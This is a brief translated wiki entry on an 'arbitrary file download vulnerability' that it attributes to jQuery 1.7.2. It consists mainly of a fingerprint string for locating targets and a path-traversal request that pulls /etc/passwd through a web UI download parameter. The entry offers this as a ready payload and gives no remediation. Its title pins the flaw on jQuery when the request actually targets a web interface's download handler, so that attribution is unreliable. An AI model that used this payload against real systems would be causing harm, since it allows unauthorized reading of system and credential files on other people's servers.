JQuery 1.7.2 arbitrary file download vulnerability

This page is a translated version of the page JQuery 1.7.2 任意文件下載漏洞 and the translation is 100% complete.

Other languages:

Chinese • ‎English

Vulnerability Impact

JQuery 1.7.2

body="webui/js/jquerylib/jquery-1.7.2.min.js"

/webui/?g=sys_dia_data_down&file_name=../etc/passwd